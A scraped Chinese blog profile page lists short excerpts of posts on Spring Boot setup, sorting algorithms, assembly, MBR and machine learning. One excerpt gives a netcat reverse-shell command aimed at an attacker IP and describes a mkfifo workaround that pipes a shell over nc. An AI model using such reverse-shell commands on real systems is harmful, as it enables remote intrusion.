自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(18)
  • 收藏
  • 关注

原创 springboot项目搭建常见的坑

解决方法:jdk版本问题,springboot3只支持java17及以上版本,不支持java1.8版本。如果非要使用sprintboot3,只能将java升级到17版本,如果只想使用java1.8版本,那么就在pom文件中改回到springboot2版本。报错2:尝试运行application,报如下错误,或者报“Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.11.0:compile”的错误。

2024-05-20 11:22:26 171

原创 网络抓包时,谷歌浏览器显示“您的连接不是私密链接”

5.最后在谷歌浏览器“管理证书”窗口中选择“受信任的根证书颁发机构”,然后导入证书,关闭并重新打开浏览器即可。1.点击左上角“不安全“,然后点击”证书无效“。3.点击详细信息,然后在证书层次结构中选中。出现这种问题往往是安全证书出了问题。4.会在指定位置生成证书。2.显示如下所示窗口。

2024-05-13 18:31:31 225

原创 netcat工具无法使用 -e 参数

使用mkfifo或mknod命令创建一个命名管道,然后使用cat命令读取管道中的内容,并将其传递给/bin/sh执行,再将输出重定向到nc连接。nc -e /bin/sh 攻击者的IP 端口。当在linux中使用netcat进行反向连接时,这说明此netcat不支持 -e 参数。

2024-05-11 08:46:34 263

原创 词法分析器实现——缓存流迭代器

缓存流迭代器PeekIterator是词法分析器的基础。我们是将源代码转换成“Stream流”来处理的,通过这个迭代器,就可以对代码的流进行一系列的操作了,包括正则校验、类型判断等。换句话说,这个迭代器就是把代码包含的字符一个一个地取出来,然后进行观察并操作。

2024-05-03 22:55:51 360

原创 基于java原生数组,设计一个动态的数组

些集合类提供了动态增加删除元素的功能,但是数组的访问效率比ArrayList高,所以我们如果在遇到访问较多的情景,最好还是使用数组来存储数据。Java原生数组的大小在创建时就被固定,并且不能更改。这意味着它们是静态的或者说是不可变的。如果你尝试添加或删除数组中的元素,你会得到一个。下面我们就来写一个支持增删改查的动态数组,这样就不用担心数组越界、增加删除元素不方便的一系列问题啦!这种特性会导致我们在使用数组时不太方便,虽然。

2024-04-25 19:26:37 423

原创 java重写自定义类equals和compareTo方法

此时运行结果为false,但是这与常识相反,明明都是名字为Jerry,学号为1011的学生,但是判断结果却为false,所以此时需要重写Student类中的equals方法,不让它进行地址比较。这三个判断逻辑是固定写法,记住即可!

2024-04-23 09:44:01 228

原创 汇编指令入门

计算机通过指令指挥计算机工作。CPU被时钟驱动,不断读取PC指针指向的指令,并移动PC指针,从内存中读取指令并执行(周而复始)。不同的CPU架构使用不同指令,目前比较广泛的是RISC(精简指令集)

2024-04-22 19:58:47 1396

原创 eflags寄存器和条件判断

首先认识汇编中的两类跳转语句无条件跳转:jmp、ret、call。有条件跳转:jcc。jcc是有条件跳转指令,那么它根据什么条件来跳转呢?这就根据eflags寄存器中的ZF位是否为0来决定是否跳转。通过这些跳转指令,去修改eflags寄存器,eflags寄存器不能通过mov eflags 0x100这种方式去修改。​​。

2024-04-19 19:27:52 592

原创 MBR引导程序简单实现

首先明确一点:主引导记录(MBR,Master Boot Record)是装有Linux系统的硬盘的第一个扇区,即C/H/S地址的0柱面0磁头1扇区,也叫做MBR扇区(来源百度百科)。所以MBR应该是一个硬件。在这里我们简单介绍一下MBR。计算机接电后运行的是BIOS,它完成检测和初始化工作后就会处理器使用权交给MBR。MBR位于整个硬盘最开始的扇区,称为MBR主引导扇区,其内容是:446字节的引导程序和参数;64字节的分区表;2字节结束标级0x55和0xaa。

2024-04-17 23:13:52 1024

原创 归并排序(java递归实现)

由于6大于1,所以把它们两个放到一个临时数组中[1,6],然后再创建一个长度为3的临时数组,开始合并[1,6]和[2],那么我们该如何把数字放到这个临时数组的合适位置呢?首先实现第一步,将数列分成左右两个部分,将数列“打散”,但是“打散”要有一定的套路,逐层从中间分开,最后将所有数字拆出来。通过图我们看到了,打散和合并的过程是对称的,怎么打散的,后来就再怎么合并,只不过在合并的过程中,有一个大小比较的过程,现在将5,4,3,6,1,2从小到大排序,上图!用双指针的思路,再把散掉的数字重新组合在一起。

2024-04-13 08:59:46 713 1

原创 机器学习的任务

1.二分类二选一的分类任务。比如房价涨还是跌、天气晴还是阴、性别是男还是女。2.多分类人脸识别、数字识别、健康状况分级等。很多复杂的问题也可以转换成多分类任务。比如贪吃蛇,我们通过大量数据训练贪吃蛇,让贪吃蛇在每次前进时自己判断左移、右移、上移还是下移,这同样也是一个分类任务。还比如下棋、无人驾驶都可以转换成分类问题。一些算法只支持完成二分类任务,但是多分类的任务可以转换成二分类的任务,有一些算法天然可以完成多分类任务。3.多标签分类。

2024-04-12 22:11:56 798

原创 机器学习基本概念

机器学习首先要处理的就是大量的数据,比较经典的数据集是鸢尾花数据集。鸢尾花数据集每个样本有四个数据,sepal length、sepal width、petal length、petal width,这些术语的含义如图所示。鸢尾花分为三个种类Virginica、Versicolor、Setosa。这个数据集中的数据都是比较规整的,实际的数据就未必这么完美了,会有很多极端值、缺陷值。

2024-04-11 22:17:50 485

原创 希尔排序算法(java实现)

希尔排序的java实现

2024-04-09 22:59:39 1202

原创 汇编基础知识

VMware虚拟机OD反编译工具Ubuntu16Ubuntu系统中下载:qemu——调试C语言nasm编辑器——sudo apt-get install nasmbochs2.7(必须是2.7版本的,要与bochs配置文件相匹配,其他版本无效)——调试汇编、GDT、IDT、分页。

2024-04-08 15:30:11 920

原创 基础算法——快速排序(递归实现)

基于Python通过递归思想实现快排

2024-04-01 23:18:55 354

原创 基础算法——插入排序

插入排序算法

2024-03-31 22:10:12 303

原创 写在前面的话

人工智能作为当前比较热门的技术,想要学好并不容易,一般的程序员不容易顺利进入人工智能的研究领域,因为人工智能技术不仅仅需要有较强的编程能力,还需要有很强的数学功底,希望本专栏的课程可以帮助大家顺利进入人工智能领域的大门,当然人工智能的理论博大精深,绝不是这一个专栏就可以讲清楚的,本专栏会选择比较简单、易懂的概念和模型,帮助大家理解人工智能的基本原理,梳理好相关的概念,为以后的转型打好基础。,如果你对这些内容还不熟悉,请先去补课。

2024-03-31 13:36:08 150

原创 基础算法——冒泡排序

冒泡排序python实现

2024-03-30 23:11:01 434 1

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除